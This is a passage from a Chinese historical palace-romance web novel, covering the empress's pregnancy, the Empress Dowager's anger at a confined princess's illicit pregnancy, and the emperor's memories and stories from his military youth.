媜珠摸不大清楚。
赵太后对前段时日的长沙公主之事仍是耿耿于怀,遣人去打听扶风高家收到了张氏的尸首之后是和反应。
高家人果然很上道,被皇帝吓了个半死,畏畏缩缩,诚惶诚恐,数月来唯恐皇帝马上就要把他们高家给抄家灭族了。
于是乎,为了讨好皇帝,高家将他们在扶风郡经营了数百年来的十来个规模庞大的田庄全都悉数奉上,归还朝廷,并且还“以身作则”,上书天子,要求那些强占土地、盘剥佃农的世族豪绅们也应如实上交手中田亩。
除此之外,被吓破了胆的高家人四处寻人托关系打点,想方设法地拉拢赵国公府,献上流水一般的礼物、田地,求赵国公府在宫中太后、皇后面前,能为高家美言几句。
媜珠和赵太后受了惊吓,皇帝发了大怒,龟昌国丢了土地城池又死了人,张氏被处死,高家被牵连。
唯独赵国公府在这场闹剧里毫发无伤,甚至还赚得盆满钵满,成了最后唯一的赢家。
自己的母族娘家拿到好处与田地,从一个北地的豪族渐渐变成名满天下的望族,赵太后焉有不悦之意?
媜珠适时地给她泼了些冷水:
“外祖家这些年在母亲和我身上也拿够好处了,这样大收贿赂,保不准以后……以后坐在中宫之位上的不再是赵家女,又该如何呢?”
赵太后气得戳戳她的脑门:“怀着身子还念丧经,你就不能安分些?什么叫大收贿赂?那高家拿钱送礼,求赵家人给他们美言几句,你外祖家人给他们说好话了吗?那不是也没为他们做什么,这还算什么贿赂?”
她又冷哼,“再说了,我又不是没有时常约束娘家人,靠着一门两后的荣光,衣食锦绣富足些也就罢了,宁可养些在家里吃酒喝肉的纨绔子弟,也不能在外头耀武扬威、横行霸道欺压百姓庶民,更不能在官场上为非作歹,就算以后赵家女不再做皇后了,谁敢说我们赵国公府如何?”
大约也是被媜珠这么一引,太后遂想起了那桩令她不痛快的事了。
她冷笑:“若非看在血亲的面子上,她又是个女子,皇帝早也该像处死张氏般把你二姐姐给处置了,如何能留她处处生事闹腾!真是白瞎了咱们这份容忍她的心了!”
媜珠不解:“二姐姐怎么了?”
太后不语,福蓉在一旁向媜珠回道:
“皇后娘娘还不知呢,琅琊公主府里伺候的女官们今早上来回过话,说是……说是……”
“说是琅琊公主有身孕了。”
太后嗤了一声:“这肚子里的孩子是姓张还是姓段也不知道呢。”
第99章
听母亲此言,媜珠大为震撼,良久后才呆呆地问了一句:
“二姐姐……不是被陛下秘密软禁起来的吗?怎么、怎么会闹出身孕来呢?”
太后也冷哼:“是啊,被圈禁起来的人,怎么还不到半年的功夫,连个活孩子都闹出来了呢?人家正经成婚的夫妻还未必能呢!当真是不简单!”
其实之前周婈珠和段充的那些事,赵太后是听公主府里的女官来报过一嘴的。
不过那阵子太后正沉浸在媜珠有孕的喜悦里,整日心情甚好,基本上看谁都高兴,也就懒得去管那些破事,由着周婈珠自己去折腾了。
她怎么能料到周婈珠这么快就能折腾出个孩子来?
那罪妇还半点不知悔改,私下和她的情郎嚷嚷着:
“凭什么就不准我快活?凭什么就不准我有个孩子?那些皇子亲王郡王们,但凡是男人,个个的日子都好过,哪怕顶着国丧也能处处嫖宿风流,弄大多少姬妾的肚子。何况我这又不是国丧,凭什么这样拘着我?”
太后一提起这茬就要再多骂一句:
“没心肝的东西,张口闭口就是国丧国丧,她是在咒谁死?是咒我这个皇太后吗!”
“不知检点,和她那生母一样妖妖调调的不安分!她犯了弥天大罪,皇帝留了她一条贱命,只叫人把她拘禁起来,这还不算对她开了天恩了?咱们对外留着她的面子,不说她是有罪,只说她是在那养病!结果她好端端养病养出一个私孩子来,咱们宫里的脸面朝哪里搁?长安城里的黎庶百姓如何议论?”
媜珠听母亲说完这些,她也很无奈,只能问一句:“那母亲现下打算如何呢?”
“还能如何!”
赵太后破口大骂,“了结起来却也容易,叫人端一碗落胎药无声无息地给她灌下去,把那孽种趁着月份小弄掉就是了,如此也算全了宫里宫外的脸面!还有,再把她那情郎送进宫里来关着,阉成太监再说!”
话虽说的痛快,但偏偏强行给周婈珠落胎那一条,赵太后又有些不忍心去做。
这倒不是她心疼这个名下的庶女,主要是她的眼皮子翻一翻,看见自己亲女儿日益隆起的腹部,自己的女儿也是个有孕的妇人,她却嚷嚷着给别人的女儿坠胎,怎么想怎么造孽。
打杀怀着身孕的女人,是要遭天谴的。
赵太后手段再毒辣,但她问心无愧的一点是,周鼎的那些姬妾中,她从没有对他怀孕的妾室们下过手,没有害过任何一个胎儿。
包括那周奉尧,若非他自己太过嚣张跋扈,助长了他生母的气焰,威胁到赵太后的地位,她当年也不会指使周奉疆去杀了他的。
所以赵太后心中虽恨周婈珠恨得牙痒痒,偏偏又不敢当真去干这种作孽的事情。
因此赵太后进退两难,怎么做都不是,现在心情才不好。
媜珠不敢提什么自己的意见,福蓉却适时给赵太后出了主意:
“太后慈悲宽忍,要留下琅琊公主腹内的野种,那眼下难也只难在这孩子生下来如何处置的问题了。——总不能把它记在琅琊公主名下。”
“当然不能!一则别说它生母是个罪妇,它本就不配降生。二则若记在生母名下,它又该姓什么?姓张?那就是前朝的余孽。姓段?难不成还要在史书里记下一笔,说它生父段充是我们周家的驸马?我呸!无媒苟合的一对野山鸡,不要脸的东西,提进宫里做太监也不配!再不成,难道要随它生母姓周?那岂不是成了我们周家的宗室子了?还能叫朝廷养着它吗?闻所未闻!”
顺着这个思路想下去,赵太后忽然也有了些灵感了,顿时豁然开朗起来:
“这一胎我姑且准她生下来,不过这孩子生下来就要抱走,她再敢和野男人厮混到一起我也不怕,十年圈禁里,她一年生一胎我就一年送走一胎,看她到底能生多少个!
我这里给她孽种两个好去处,正巧你们姐妹还有几个好妹妹,要么送去四娘府里给四娘养,记在韩家名下;要么送回冀州老家,给八娘养在道观里当个道童去。到底是自家姐妹,给谁养也不会亏待了她的孩子。”
周四娘子颍川公主周芩姬,以前和周婈珠关系就不温不火,现在更是成了老仇人,且不说周婈珠放不放心把自己的孩子交给颍川公主,如今的颍川公主一团凄风苦雨,孩子若是记在韩家名下,来日未必能有什么前程,周婈珠绝对是不肯的。
颍川公主若是疼爱这孩子,孩子长大了一心认颍川公主当亲娘,周婈珠要发疯的;
颍川公主若是不疼这孩子,甚至还把对周婈珠的怒火发泄到无辜的孩子身上,身为人母,周婈珠知道了更要发疯。
至于周八娘子,那是个不肯嫁人也不肯做公主的奇人,在冀州老家折腾了个道观,自己钻进去当了个要修炼成仙的“九丹真人”,百姓呼之“九丹娘娘”,和周婈珠素日的交情也只能称一句平平无奇。
那孩子若是送到九丹真人处,肯定不能说是九丹真人的孩子,只能跟着她当个道童……虽说八娘不至于虐待孩子,但这孩子长大了除了当道士还能干什么?哦,还能出去沿街算命,当个风水先生。
这还不如记在韩家名下呢!
以周婈珠的心气,更是不愿意的。
而且若是送去了冀州的八娘那里,周婈珠居于长安,恐怕一生都难以再见自己的孩子一面。
这两个选项对她来说,无疑都比杀了她还难受。
媜珠也这样提了一嘴,赵太后恨恨地道:
“那就把这孩子送去认张道恭当爹,和张道恭一起关起来,我看她保准就愿意了!”
闻言,媜珠惟有无奈一笑,于是不好多说什么了。
这日晚膳间,媜珠和周奉疆提及此事,周奉疆淡淡颔首,说他已知了。
媜珠又道:“母亲说,二姐姐的孩子生下来,要么送给四妹妹养,要么送给八妹妹养,不过我想恐怕二姐姐都是不肯的。”
周奉疆对此没什么意见,他也懒得关注这些:“听母亲的安排就是。”
他给媜珠夹菜的动作顿了一顿,或许是媜珠口中的那句“二姐姐不肯送走自己的孩子”,仍是令他莫名其妙地再度想到了自己的生母。
自从被生母抛弃过后,哪怕他嘴上说着不会在意,但每每听到这些类似的故事,仍是叫他心中常有怅然之感。
是啊,哪个母亲会愿意送走自己的孩子、抛弃自己的孩子呢?
只有他母亲郑氏愿意。
提起那个远在冀州的八娘子九丹真人,周奉疆想起一茬:
“她说是要给宫里贺喜,刚叫人送来一颗长命丹药,说能为朕延年益寿。”
媜珠立马说:“我知道八妹妹自然是好心,然当局者迷旁观者清,陛下万不可信这些东西,那些什么神丹妙药的,尽是炉子里烧出来的乱七八糟的炉渣,越吃越短寿,吃多了还能死人的。”
皇帝很遗憾:“可朕已经吃了,又该如何?”
媜珠只淡淡地白他一眼,低头夹了一筷子鸳鸯鱼枣:
“日后妾会好好为陛下戴孝。”
皇帝笑了,“假的,我也不信这些,那丹药我给灿娘子吃了,灿娘要是能活到二十岁上,我就信你八妹妹真的成仙了,封她做国师。”
媜珠被惊得啊了一声摔下筷子,“你敢?你要是毒死了我的猫,我跟你没完!”
她说着便起身唤着灿娘子的名字,要把猫儿找出来,说要从它嗓子眼里把那毒丸子抠出来。
皇帝见状哈哈大笑:“朕骗你的!”
他剑眉星目,俊逸倜傥,“灿娘子也是咱们当女儿一样养大的,朕如何舍得害它!”
这话说的确实不假,抱养来灿娘子时他们膝下并无子嗣,别人怀里抱着孩子,年轻的夫妻也就把这聪慧漂亮的猫儿抱在怀里养着,充作养育儿女一般逗弄,周奉疆从前宠爱灿娘子时,偶尔还会在外头买一只人家逗孩子的拨浪鼓回来给灿娘子玩。
那都是他们在冀州的时光。
他扶着媜珠坐下,媜珠仍是生气,面无表情地推了他一把。
周奉疆向她赔罪起来,媜珠一时自己也觉得方才情状实在是好笑,不由得扑哧一下笑出了声。
陪侍在侧的倪常善和佩芝他们见了,亦是无声失笑,眼含笑意。
这么多年了,也是到如今才算真有了些夫妻的样子。
若是早就如这样一般,该有多好啊。即便是在宫外的官宦、百姓、商贾人家,夫妻能有这样的说说笑笑,也是十分难得了。
从那一茬的玩笑里回过味来,媜珠又和他复提起关于周婈珠的事情:
“母亲还说了一句,说要把二姐姐身边的那个段充给处置掉,还说要弄进宫里做宦官……我也不知母亲是真心的还是一时气性上来的气话。”
不想这时周奉疆却渐渐止了笑意,目光沉了下来:
“段充不用管他,就让他继续在你二姐姐身边待着吧。”
他说的是“不用管他”,其实真正想表达的意思是“我要留着他”。
是从赵太后手里保住了这个人。
可他为什么要对这种小得不值一提的人物上了心?
媜珠有些不解,周奉疆轻声说:“年少时和他有过几分交情,不深不浅,仅此而已。”
他只这么淡淡地提了一句,
媜珠莞尔:“我该猜到的,你肯定也认识他。”
如果不认识,如果不是皇帝的命令,段充根本都不可能活着走出岭南的龙编县。
至于少年往事,那就是军营里那些男儿郎之间的故事了。
同为冀州侯周鼎卖命,段充的父亲就早已是周鼎的部下,故而段充当然也年纪轻轻就跟着周鼎了。
周奉疆认识段充、韩孝直他们……他们都曾有满心热血,一身剑气,觉得自己可以立一番功业,出人头地。
起先周奉疆和韩孝直的关系尚可,不过和段充只是点头之交,不算太过热络。
真正开始有一些交集,第一次是在十四岁那年,周鼎带着自己手下的一群年轻儿郎,有他的亲子、侄子、外甥、养子和部卒们,在冀州的山林间巡猎,并且将他们分成不同的队伍,叫他们各自比拼,看最后是哪一伙人猎得的猎物最多、最大。
那一次周奉疆、段充等人都在一队里,他们乌泱泱近二十人一同追逐一只凶残的墨豹,往山林深处奔去,那豹子残忍狡猾,动作敏捷非常,一路不停怒吼,最终渐渐有人跟不上队伍,再追到最后,只有四五个人还能跟得上那豹子的身影。
彼时墨豹已中了两三箭,受了伤见了血,但依然十分凶暴,众人都不敢靠近,只得勒马停下。
最后只有周奉疆和段充两个人敢追上去,在这之前两人没说过什么话,但是在那个傍晚,两人却一言不发地默契非常,交替着拉弓射箭,生生将那豹子杀死在了一处山林间。
豹子死后,周奉疆和段充两人累得气喘吁吁,相视一笑,一切尽在不言中。
墨豹虽死,血腥味却又引来一只离了群的老狼。
老狼虽病,凶性未脱,依然十分可怕。
当时两人其实已经累得一点力气也没有了,箭矢也几乎射完了,面对那只老狼虎视眈眈扑上来的厮杀,最后他们两是抄起匕首近身肉搏,彼此都受了不轻的伤,这才制服了那只老狼。
但这时天已黑透,也不便再下山,只能在山洞里将就着熬过一夜。
周奉疆枕着豹子尸,段充靠着那头狼尸,两人一声不吭地借着山洞洞口透进来的一点月色,咬牙忍着痛,各自处理身上的伤口。
周奉疆当时水囊里的水喝完了。忽然,在黑夜中,段充不声不响地给他丢来一只水囊。
而他也将自己腰间的那瓶金疮药丢给了段充。
那天晚上其实他们并没有说什么话,可他们也都懂得,这是属于他们少年意气的一夜。
第二天清晨,他们拖着豹子和老狼的尸体艰难下了山,一路上仍然无话。
不过从此之后,关系倒是有所密切。
——后来两人还心照不宣地凑在一起干了不少坏事。这些就更不用多提。
论起情分,虽然不多,但还是有那么点的。
与其说是周婈珠拼命保住了段充的命,其实倒不如反过来说。
可周奉疆更明白的是,那点情分也只能止步于此。他不能给出更多的让步。
比如说,他可以默许周婈珠和段充厮混在一起,但他绝不会亲自开口给段充一个国朝驸马的身份。
罪臣就是罪臣。
就像他也曾念着和韩孝直的那点情分,在他弟弟犯下谋逆之罪时仍然保住了他,但他不可能再重用他,也不可能再给他高官权位。
夜里洗漱毕,就寝之前,媜珠忽然心血来潮翻出了一个做了一半的绣绷,是她给自己腹中孩子亲手做的一个肚兜,平针绣的虎镇五毒如意纹,当中的一只大老虎刚绣了个虎头出来,已然栩栩如生,十分精致。
她有时觉得自己似乎还没有那么快地进入到一个母亲的角色中去,许多时候抚着自己的肚皮,自己也是懵懵懂懂的,不敢相信这里头竟然真的有个小孩子托生了进来。
母亲她们说叫她自己亲手给孩子做点什么东西,做得多了,母子情意也就更浓了。
于是媜珠拖拖拉拉、断断续续地绣着这只肚兜,虽然绣好的一只老虎头已经很能看出柔母心血、爱子情怀,但那光那一只老虎头,周奉疆看她就绣了一个多月了。当然他也不敢催她。
夜里的烛火再明亮也是伤眼睛的,他劝了她几句,叫她先搁到一旁去,等白日里日头光亮好的时候再拿出来做。
媜珠绣这东西本来就是应付母亲的差事的,等的就是他这句话,听他这么一说,她也就丢到一边去了,还跟他抱怨了几句,说她做这些做得好辛苦。
他不禁失笑,顺了顺她披散在肩头的长发,搂着她的肩哄她:
“是啊,做慈母不易,那我们媜媜不做慈母也没关系,可以永远只做哥哥的妹妹就好了。”
媜珠笑了:“那孩子生下来怎么办?总要有人教养吧?”
“有太后抚育,朕亲自管教,你只要在它不哭闹时去逗逗就好,孩子哭了你就走。”
他用这话哄她,媜珠未必真信,但的确能叫她高兴。
也许还是真要感谢这个孩子的到来,叫他们这样冷静下来,能互相忍着脾气心平气和地过夫妻一般的日子。
不过,再冷静的日子也并不是没有争吵。
回想起媜珠的第一次胎动,那天前夜媜珠就和周奉疆为琐事拌嘴争执了几句,吵到最后也没有分出胜负来。
原因就是赵太后叫皇帝约束媜珠的饮食,说媜珠现在颇有些胡吃海塞的架势,胃口比没怀孕的时候大的多了,除去一日三餐外,她还有五花八门的各种零嘴糕点果脯摆在殿里,恐怕一整日里她的嘴就没停过,否则肚子怎么会长得比寻常妇人还要快一些。
皇帝把原话告诉媜珠,也说她吃太多不好,叫她少吃些。
媜珠找茬和他吵起来,彼此几个回合仍是不见输赢,她留下一句“你少管我”便闷闷地自己背对着他睡下了,再不跟他说话。
他无奈地叹息,拍了拍她的肩,伸出来的手也被媜珠恶狠狠地拍掉了。
夜里媜珠起身时要喝水,他端来茶盏喂她水喝,媜珠看了看他,一句话也不说,咕嘟咕嘟只低头喝水。
翌日周奉疆起身赴朝会时,临走前他坐在床榻边俯身轻轻亲了亲她恬静依旧的睡颜,媜珠却突然惊醒,从绣被中探出一只纤白的腕,握住了他的手。
身为皇后,白日里外人见到的她总是盛装华服的,纷华靡丽,云鬓珠翠,每一处都仪态万方,无可挑剔。
可清晨时分刚刚从睡梦中惊醒的她,不施粉黛,不加妆饰,连披散的长发都还没梳顺,却也有秋水芙蓉、水月观音般的玉骨冰姿,是青女素娥,仙露明珠,淡极也能生绝艳。
她只是静静卧在这方帷帐之内,就已是最旖旎潋滟的艳景。
他有些怜惜:“我吵醒你了?”
媜珠不语。
他又问:“还在生气吗?”
媜珠没有回答,引着他的手伸入绣被内,肌肤相贴地覆在她柔软细腻的隆起肚腹上。
他粗粝的掌心下忽然察觉到一阵熟悉的动静,先是像鱼儿吐泡泡一般咕噜咕噜,片刻后,又如波浪一般小心地蠕动着,最后那阵动静归于平静,再没有动弹了。
——二十多年前,他曾经在赵夫人的肚腹上同样感受过媜珠这样的胎动。
而这一次,是在媜珠的肚皮上感知到了他的孩子的胎动。
是这个孩子的第一次胎动。
他长久地抚摸着媜珠的肚腹,震撼地说不出话来,只能呆呆地愣在那里。
媜珠倒是先反应了过来,躺在榻上望着他:
“你摸到了吗?它动了。我们的孩子动了。”
贴在她肚腹上的那只大掌颤抖得厉害,一如他此刻的心境,良久后他才颤声回答了媜珠:
“是……我知道,它在动,它会动了。”
初为人父便是如此,只觉得孩子的一切都是新奇的,他掌心触及到的胎动,明明是那样轻柔,却震荡得他浑身都为之发抖,心旌摇曳,亢奋沸腾。
这感觉远比他第一次握住那方国玺时更震撼、兴奋、强烈,玉玺是冰冷的,僵硬的,是一件死物,现在在他的手里,以后也会到别人的手里。
可这孩子不一样,它在他心爱之人的腹中,柔软,脆弱,却又温热,带着生命的气息,而且只属于他们,这是他们的孩子。
媜珠柔柔一笑:“妾方才睡得迷迷糊糊的,听见有婴孩似在睡梦中唤妾母亲,说它要动了,妾一下惊醒了过来。”
周奉疆嗯了一声,手指还在发颤。
“它很好……它长得很结实。”
媜珠推了推他:“陛下该朝会了,不宜耽搁在妾处,否则妾岂非成了害国的祸水了?”
周奉疆抿了抿唇,显然是并不愿意离开的。
此刻他更愿意脱去身上的衮服冠冕,歇在这缱绻婀娜的温柔乡里,拥着她雪白的身体,陪在她和孩子身边,亲一亲她的脸、她披散的发丝。
在这样一个阴雨绵绵的寒冷秋日清晨,这床帷之间给他的诱惑太大太大,他更想做个昏君,从此不早朝。
可惜他不想走,媜珠还不想留,他最终只得讪讪离开,踏入殿外的一片凉寒秋雨中。
他走后,媜珠再度拥被睡下,深思却有些迷离在外。
男人的爱或不爱实则很好辨别,一个眼神,一个下意识的动作,一句自然而然脱口而出的话。
他每天早上去朝会之前,都会过来亲一亲她再走。
很多时候她睡得迷迷糊糊的,尚且是能感受到这个吻的。她也能感受到他倾注在这亲吻中的江翻海倒似的宠溺和爱意。
媜珠怀胎至五月时依然没遭过什么罪,吃好睡好,一切安宁,然而当她怀胎至五月后,赵太后却忽然管她管得更严了。
她开始限制媜珠每日的饮食,不准媜珠再“暴饮暴食”,还令人将她的一日三餐精打细算过,不准旁人多给她吃一口东西。
媜珠当然是不痛快的,她腹中的孩子日渐长大,她现在正是胃口越来越大的时候,好几次夜半起来都要闹着吃点什么东西。
赵太后并不是故意要找茬折磨自己的女儿,她时常苦口婆心地劝媜珠:
“你不看看皇帝的身量,皇帝身量颀伟健硕,他的种,想必是小不了的!你不看看你自己的身子多细瘦,现在怀着他的种还胡吃海塞,孕中饮食不知节制,把腹中孩子养得太大,等一朝分娩时、我看你怎么把这孩子生下来!疼的你在榻上哭爹找娘也没用,你爹娘都帮不上你!要是生不下来……哎!”
媜珠被她这样一番恐吓,虽然当时是有些怕,但是回过头来又不愿意听。因为她真的饿,她不能不吃东西。
第100章
最了解媜珠的人倒还是周奉疆。
他很快便为此事想出了一个极佳的解决方法。
先是照着赵太后的意思,撤掉了媜珠白日里那些不该有的各种零嘴和糕点吃食,又遵照王医丞等人的意见,严格控制她每日的饮食,不会饿着她的肚子,但多一口也不让她吃。
媜珠气得不肯,时常哭诉自己的不易和辛苦,借机又要闹事。
周奉疆却又会再给她一个“甜枣”,待他晚上忙完了一日的政务回到椒房殿后,会出其不意地从袖中取出些点心给她,而且还胜在新奇,都是他叫人每日去宫外的街市上采买来的,宫中少见,媜珠从前更鲜少见过吃过。
比如掺了猪油的香喷喷的炸糖糕、驴肉火烧、松仁黄米糕、还有让她吃的到处掉渣的桃酥,从他袖中取出给她时都尚是温热的,媜珠看见了简直是两眼放光,吃得唇瓣上都沾着油光。
他会温柔地在一旁默默看着她,在她吃饱喝足后轻柔地给她擦擦嘴巴,就仿佛她还是那个小孩子。
长安城内定居的外邦异族之人也颇多,多的是商贩贩卖他们那风俗里时兴的饮食,周奉疆通常会让王医丞他们去检查过,若是适宜媜珠所食,他也会叫人买一些给她,当做是她一整个白日里遵守“节食令”、没有作也没有闹的奖励。
如胡人的各种胡饼、烧饼、餢飳,野黄羊髓酥、蜜渍野韭花酱饽饽,吐蕃人的干奶皮卷、牦牛肉饼、酥酪糕,西域那边的桑葚蜜饯馕、沙枣面扭丝饼。
媜珠颇为喜爱,每次见他从袖中取出她不曾见过的这些新奇吃食给她,她的心情都会变得分外愉悦。
白日里虽然只吃了个七八分饱,但想到晚上周奉疆会给她带来的充作惊喜的补偿,她也就甘愿忍气吞声,不再抱怨了。
他看着她眼里澄莹的悦色,仿佛看见了幼时他从外头带了点街市间的玩具给她,她也会变得这样高兴。
——当然,他不会告诉她的,她晚上吃的这些加餐,其实都源于白日被额外剥削掉的糕点份例。实际上她一整日里并没有多吃一口东西。
不过她孕中神思不济,已经鲜少会去思考这么深刻的问题,睁一只眼闭一只眼也就被蒙混过去了。
媜珠很快便安生了下来,并且夜晚也开始格外期待他的到来,期待着这一天结束之后,他会给她带来什么好吃的。
夫妻之间的感情好像也随之得到了突飞猛进的增长。
秋深冬起,天越来越冷,她的肚子越来越重,人也愈发懒了起来,也日渐不爱动弹,不怎么喜欢出去走动,连她母亲那里也很少去了。
既然她不爱动,那么她便开始期待他不忙的时候回来陪着她,陪在她身边。
或许是怀孕的缘故,她变得黏人了许多。
这么多年她从来没有这么黏人过。
周奉疆很受用她这样依赖着他,因此他也尽力每日里挤出更多的时间来陪伴她,在她身边哄着她。
有时媜珠隐约能察觉到,他常常因为她黏着他、白日里陪她太久,耽搁了正事,夜里三更五更时又悄声披衣而起,在天明之前的黑夜里前往书房处理政务,然后等到了时辰便直接去朝会。
她心中会有一丝对他内疚,不过好像也没有那么多。
即便在安稳的睡梦中,她也能若有若无地感受到他的离去,感受到身侧热源的消失。
他将她抱在怀里时,她觉得他宽广坚固的怀抱像一重银山铁壁般的牢笼将她紧紧禁锢住,然而当这怀抱松开她时,她得了自由,在这大床上随心所欲地翻身,好像又并没有想象中的快乐。
她百无聊赖时,他也会绞尽脑汁地给她讲一些稀奇有趣的故事逗她开心,给她解闷。
这里头多是些他曾经打仗在外时沿途难免经历过的奇闻轶事,有一些鬼怪传奇,专门唬人的,还有些曲折离奇、一波三折的悬案故事。
还包括他在北地营州曾与奚族、突厥、契丹人等异族人作战时听来的他们那里的传说故事。
媜珠是喜欢听他说这些的,还会连连向他追问下文,两人每天待在一起要说上许多的话,倒比从前他们最“恩爱”时一天内说的话还多得多。
“媜媜,我年少时在营州关外还听过许多有年纪的将士们讲过一回奇事。”
“说是七八十年前,营州关外有一座荒坟上垒建起来的破庙,也不知墓主是谁,更不知是何人垒建的。营州北人士卒们出关追击奚人时,每每路过那荒坟破庙,时不时总会隐约听见有女童的哭泣声,那女童哭泣的声音还是洛阳的口音,其声令人闻之不忍,怜惜不已。所以后来常有人说,那荒坟的主人就是这小小年纪的女童。”
媜珠身临其境,一下竖起了耳朵,小心地问道:
“谁家会把自己小小年纪的女儿葬在关外呢?若是疼爱女儿,就该带回故土埋葬;若是不疼女儿,又何苦再辛苦给她立坟。”
“有一年,有一群营州士卒在那荒坟边扎营借宿一晚,晚上迷迷糊糊间许多人又不约而同地听见了女童哭泣声,乍然皆被惊醒,等他们醒来一看,不远处竟传来阵阵马蹄声,原来是奚人前来偷袭。士卒们连忙抖擞精神做好准备,拉好弓箭,持起长刀,上马迎战,这才将那些奚人打退。事后众人皆心惊不已,心道若非那女童的哭泣声相助,恐怕今夜他们就命丧于此了。”
媜珠大惊:“真有这样的奇事?”
“这群人交战后连忙赶着回营州城内,当中有个姓郑的小兵感念那女童在冥冥之中相助的恩情,他怀中正好揣着一串带给自家小女儿的璎珞串子,临走前,他就对那女童道了谢,将璎珞放在了破庙里,这才离开。”
“因为此事,郑姓小兵回去后做了个梦。梦里他当真瞧见了那个女童,女童戴着他送的璎珞串子对他说,她本是前朝永德公主之女,被自己的皇帝外祖父封为了兰陵公主,送到营州关外和亲,嫁给了奚族的一位王子。
那一年她才五岁,不想一年后奚族叛乱,奚族首领就将这才年仅六岁的兰陵公主斩杀祭旗。她母亲永德公主听闻此事,悲痛万分,又不敢大张旗鼓祭拜她,怕得罪皇帝的颜面,只能遣人在关外给她立了个衣冠冢,悄悄悼念她。”
媜珠“啊”了一声,“我听说过这回事!那年奚人来犯营州,边塞之地死了不知多少军民。”
“兰陵公主就托梦对郑姓小兵说,我被奚人所杀,一生渴望回到故土,所以常常在此处对着汉人士卒哭泣,这么多年来你是第一个悼念我、给我送上礼物的,我会好好报答你,将我本应拥有的贵女命格赠予你的女儿,荣耀你的家族。”
媜珠又震撼又好奇地追问:“后来呢?后来那郑姓士卒的女儿怎么样了?”
周奉疆微笑:“我到营州时,有人告诉我说,那郑将军的女儿长大后嫁到了冀州豪族赵家,郑女在赵家生有一女,此女又嫁俪阳公主之子冀州侯,郑女之女在周家又生一女,就是冀州侯的爱女,馆陶县主。”
媜珠被他唬得目瞪口呆:“所以那郑将军,就是我外祖母的父亲?我怎么都没有听过这样的传闻?”
现在被兰陵公主报答过的郑姓士卒之女,就是当朝皇太后的生母,开国皇后名义上的祖母。
周奉疆淡淡回她:“你年纪小,小姑娘家没有听说过的故事还多着呢。”
媜珠甚觉精彩,催他再讲一个给她听。
这一次周奉疆是编的:“后来我也曾在关外追杀奚族王子术里时路过那座荒坟,略微祭拜过兰陵公主。回去后兰陵公主也给我托了个梦,说我和几十年前那位赠她璎珞的郑将军的曾外孙女有命定的情缘,她为我牵好了红线,我和郑家的曾外孙女必定会恩恩爱爱,白头偕老,生儿育女,一生顺遂和睦……”
媜珠撇了下嘴,顿觉没意思,推开他自去梳洗更衣了。
其实周奉疆没有告诉她,真实的故事是这样的:
当年他追杀到奚族王子术里后,顺道路过兰陵公主荒坟,他觉得带着术里全须全尾的尸体回去太累赘,就在公主衣冠冢前顺手割下术里的脑袋,正好把他的血洒在公主坟前为公主血恨,然后把术里的脑袋挂在自己的马背后,就回营州城去了。
自那之后,关外再无人听到过女童的冤魂哭泣之声,有人说是兰陵公主的怨念真正散去了,再也不在人间逗留,于是便重新投胎去了。
但周奉疆觉得如果结局当真如此,那兰陵公主的一生似乎更为凄惨了,原来直到她死后上百年她才能重新投胎,实在令人唏嘘。
媜珠的黏人不仅只在这些上头。
夜里她也很黏着他,要他时刻抱着她,靠在他怀里才能睡得安心。
若是夜半她醒来要喝水,周奉疆去给她倒水的时间长了,她也会坐在榻上生闲气不高兴。
而且,这种表现单纯说是“黏人”似乎还并不十分准确。
某些时候,她对他多半也是温顺乖巧,和从前很不一样。
孕期的欢爱缠绵,有了第一次就会有其后的许多次。
所以自她怀孕四个多月时周奉疆第一次碰了她开始,之后的一段时日两人在榻上就没闲过,隔三差五地总会有一场放纵贪欢,轻偎低傍,缠绵缱绻。
最初几次确实都是他主动,是他忍不住,会情难自禁地抚着她的孕肚将她缓缓推倒在榻上,抬手挥下那雨影银丝的朦胧纱帐,遮住床帷之内的雨意云情,行一场畅快的鱼水之欢。
他这样对媜珠,媜珠又会是什么反应呢?
她……没什么反应。
也许是大着肚子不便反抗,也许是实在经历了太多,她也倦怠反抗了,总归每次他要碰她时,她就像一只晒着太阳被人抚摸的猫儿一样无所谓,先时不反抗也不迎合,到后来被人摸得有几分得了趣了,这才会哼哼几声,眉目妩媚起来。
他亦不愿勉强她太多,这样的事情三五日地有一场也就足够了,甚至还因此格外怜惜她,每回事后都要再耐心地哄她许久,叫她心情能好一些。
然而后来他却隐隐察觉到,或许此事并非如他想象中一般委屈了她。
当有一阵子他接连七八日歇了那心思没再弄她,想叫她安安心心地养着胎时,媜珠的情绪反而似有似无地日渐焦躁起来。
那是种说不清道不明的心烦意乱,白日里她做什么都不大高兴似的,周奉疆问她这是怎么了,她只会双眸含雾、秋波盈盈地抬眸看他一眼,不再言语。
真是楚楚动人,柔情绰态,我见犹怜。
但他根本不知该如何怜她。
他心中愈发无奈,又怕她是在他不知道的时候听了什么谗言挑拨,跟前阵子她疑心他和长沙公主有私情时一般,嘴上不说,心里不快,活生生折腾自己的身子。
后来被他问得多了,媜珠也只会啪地一下拍开他的手,泪光涟涟,“你少管我!”
最后还是王医丞给她切完一次脉后,又听皇帝说她近来性情焦躁,王医丞背过了皇后,私下委婉地回禀皇帝说:
“娘娘近来的脉象确实有些浮躁,这……娘娘怀胎体热,腹中胎儿月份越大,娘娘越辛苦……就会体热不安,也是女子孕中常有的症状,只是女子大多面薄,羞于启齿。”
皇帝一开始还没听明白他的意思,有些烦躁地拧起剑眉:
“她体热?那该如何为皇后纾解?如今天越来越冷了,总不能叫人给她少穿两件衣裳罢?若是再受了凉又该如何?难道要煮些清凉的凉茶给她喝?她能喝这个?”
王医丞的讪笑很是耐人寻味:“娘娘体热浮躁,的确需要纾解出去,这个纾解出去嘛……只要适时适度,陛下有分寸些,其实并不会伤了龙胎,到底是要为了娘娘的心情好才最要紧。”
周奉疆听他这老匹夫只知道跟他打哑谜,正不耐烦地要训斥他,忽地对上王医丞那个意味深长的眼神,他这才一下反应了过来。
王医丞连连点头:“臣就是这个意思……”
联想到媜珠近来的异常,他豁然顿悟,心头竟还有了种五味杂陈的感觉。
中午陪媜珠用膳,媜珠还是无精打采的样子,他知道她爱吃蟹肉,但女子孕中忌着那寒性的东西,今年秋日螃蟹膏肥时她为了孩子忌口,一口也没吃过,于是叫膳房的人穷尽心思做了一道味似螃蟹的蟹粉豆腐哄她高兴。
他喂她尝尝,媜珠还是意兴阑珊,眉眼憔悴,郁郁寡欢。
午膳后,她喝了安胎药,被宫人扶去榻上歇着午睡,周奉疆默然许久,长长吐出一口浊气,撩起珠帘慢慢行至她床榻边。
